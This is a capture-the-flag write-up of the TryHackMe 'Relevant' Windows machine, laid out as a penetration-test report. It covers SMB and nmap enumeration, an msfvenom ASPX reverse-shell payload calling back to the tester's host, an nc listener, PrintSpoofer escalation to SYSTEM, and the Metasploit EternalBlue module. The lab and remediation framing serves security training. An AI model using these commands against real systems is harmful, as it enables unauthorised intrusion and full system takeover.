‘Relevant’ TryHackMe Writeup

Shrike InfoSec

2021-12-10T20:45:32.000Z

Contents

1 Scope of Work **1**

2 Executive Summary **2**

3 Vulnerability and Exploitation Assessment **3**

4 Remediation Suggestions **4**

4.1 Enumeration Phase 4

4.1.1 nmap Scan 4

4.1.2 RDP Enumeration 4

4.1.3 SMB Enumeration 5

4.1.4 Further SMB Enumeration 5

4.1.5 Plain-text Passwords 6

4.1.6 Outdated Services 6

4.2 Exploitation Phase [Approach 1] - User 6

4.2.1 Reverse Shell Exploitation 6

4.3 Exploitation Phase [Approach 1] - Root 7

4.4 Exploitation Phase [Approach 2] - EternalBlue 7

5 Conclusion **9**

1 Scope of Work

The client requests that an engineer conducts an assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked that you secure two flags (no location provided) as proof of exploitation:

```
User.txt
Root.txt
```

Additionally, the client has provided the following scope allowances:

- Any tools or techniques are permitted in this engagement, however we ask that you attempt manual exploitation first
- Locate and note all vulnerabilities found
- Submit the flags discovered to the dashboard
- Only the IP address assigned to your machine is in scope
- Find and report ALL vulnerabilities

2 Executive Summary

As requested by the client, a penetration test was enacted in order to verify whether the server in question is adequately secured. While conducting this penetration test, the following was found:

- 1 identified risk that can be mitigated by suggested password security practices.
- 2 identified critical risks that require systems to be patched.
- 1 identified risk that can be mitigated by correctly setting permissions on an accessible directory.
- 2 separate exploitation routes leading to system-level access.

3 Vulnerability and Exploitation Assessment

After receiving the specified target, the following steps were carried out:

- Reconnaissance against the target machine
- Collecting information used to launch the initial attack.

Once this information was collected, a vulnerability assessment was running using `nmap` and `metasploit`. These tools reported the following vulnerabilities:

- An `smb` server running on the default ports `139,445` that is exposed to the internet and accepts password authentication.
- An `rdp` server running on the default port `3389` that is exposed to the internet.
- An `IIS` web server running on default port `80` that is exposed to the internet.
- Credentials being saved to text files within the file system.
- Outdated services allowing for brute-force attacks.

The primary attack vectors were identified as the SMBv1 service running on port `139,445` and the IIS service on port `49663` with an exposed share as an accessible directory.

After examining the system in question, approximately 4 risks were found and need to be addressed in order to keep the company secure. Attached below are the specific steps used in order to enumerate and exploit the identified vulnerabilities.

4 Remediation Suggestions

In order to secure the server, the following suggestions are made:

- Change the default RDP port to a non-standard port to prevent automated attacks on this service.
- Update all services to the latest versions to avoid known vulnerabilities.
- Ensure all passwords are stored securely, such as using a password manager. Credentials should not be saved in plaintext on the file system directly.
- Do not map SMB shares to an exposed web server directory.

4.1 Enumeration Phase

4.1.1 nmap Scan

The first step of the enumeration is of course to do a port scan on the machine. Running an `nmap` scan provides us with a breakdown of the services that are running on the machine.

```
80/tcp open http syn-ack ttl 128 Microsoft IIS httpd 10.0
135/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 128 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack ttl 128 Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ms-wbt-server syn-ack ttl 128 Microsoft Terminal Services
49663/tcp open  http          Microsoft IIS httpd 10.0
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
```

Port `80` leads to default IIS page. This didn't seem to have anything immediately viable for enumeration or exploitation. However, the `49663` seems to map to a `nt4wrksv` folder.

4.1.2 RDP Enumeration

Taking a look at the exposed RDP ports, we can run a quick scan with nmap to enumerate the encryption that is being used.

`nmap -p 3389 --script rdp-enum-encryption $IP` reveals that the server is using CredSSP, which means we’re most likely not going to be able to do much here.

4.1.3 SMB Enumeration

Port `139,445` reveals that the machine utilises an SMB server. As a follow-up to this, a quick scan using the `smb-enum-shares` script with `nmap` allows us to get a breakdown of the shares that are listed:

```
Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\$IP\ADMIN$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Anonymous access: <none>
|     Current user access: <none>
|   \\$IP\C$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\$IP\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Anonymous access: <none>
|     Current user access: READ/WRITE
|   \\$IP\nt4wrksv:
|     Type: STYPE_DISKTREE
|     Comment:
|     Anonymous access: <none>
|_    Current user access: READ/WRITE
```

This also reveals to us that the directory we found earlier on the web server (`nt4wrksv`) is also an SMB share.

4.1.4 Further SMB Enumeration

Now that we have identified the shares, we can evaluate whether the shares are vulnerable to exploitation.

4.1.5 Plain-text Passwords

I noticed that the `nt4wrksv` share has read/write access via the guest user - this will be our main entry point in exploitation later on. Upon connecting to the share with `smbclient //$IP/nt4wrksv` reveals a `passwords.txt` which contains two username and password combinations (base64 encrypted) for Bob and `Bill`.

A quick decryption later and we have our credentials:

```
echo "<password1_base64>" | base64 -d
Bob - <password1_decrypted>
```

```
echo "<password2_base64>" | base64 -d
Bob - <password2_decrypted>
```

We can use these later for accessing other areas of the host.

4.1.6 Outdated Services

The server is also vulnerable to `CVE-2017-0143`, also known as `EternalBlue`. Using nmap and `searchsploit` we can verify that the SMB server is on an exploitable version, which it is.

```
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
Indicates the server is vulnerable to EternalBlue. (ms17-010).
```

4.2 Exploitation Phase [Approach 1] - User

4.2.1 Reverse Shell Exploitation

The first step to take is to create a payload using `msfvenom` to get us a reverse shell.

```
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=$MY_IP lport=4444 -f aspx -o shell.aspx
```

We choose the `.aspx` file extension as the web server we have access to is running IIS.

We then need to create a reverse shell listener (I opted to use `rlwrap nc -lvnp 4444` for my listener based on the script that I had modified).

Once we've got our listener ready, we can upload the payload to the target host via the SMB share we have and execute it by navigating to the exposed webpage on `https://$IP:49663/nt4wrksv/shell.aspx`.

This gives us the `IIS APPPOOL\DefaultAppPool` user account.

At this point, we can access the user share on the machine and get the first flag for the user: `cat c:/users/bob/desktop/user.txt`.

4.3 Exploitation Phase [Approach 1] - Root

At this point we now have a user account to work with. If we run `systeminfo` we can see that the server is running on `Microsoft Windows Server 2016`. There is a vulnerability in these versions involving impersonation of the NT/SYSTEM user by abusing the fact you can create a process in the context of another user. I won't go into detail, but a very good write-up can be found here on the process.

We now can upload the `PrintSpoofer.exe` to the share we have access to. Then, we can navigate to the `c:\inetpub\wwwroot\nt4wrksv` folder to locate the executable and run it while feeding in a `cmd.exe` argument: `PrintSpoofer.exe -i -c cmd.exe`

This will spawn a cmd shell with the `nt authority\system` user.

We have now achieved root privileges and can grab the root flag from `C:\Users\Administrator\Desktop\root`

4.4 Exploitation Phase [Approach 2] - EternalBlue

Due to the fact that this server is using SMBv1 for its shares, we know that it is vulnerable to the `EternalBlue` exploit. As such, it is trivial for us to exploit this with `metasploit`.

```
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > show options
    set options...
```

We can then set up a listener (either via `nc` or `metasploit` - it doesn’t really matter which) and then do:

```
msf exploit(windows/smb/ms17_010_eternalblue) > run
```

If we run `systeminfo` we get all the information we need about the target machine. If you run `whoami` you’ll see that we are `nt authority\system`.

5 Conclusion

As a general challenge, this one was a lot tougher than I was expecting. It requires you to do a lot of digging (namely with `nmap` to discover the correct approach when dealing with file access). The use of a relatively modern exploit `PrintSpoofer` was fun to work with and definitely an interesting read.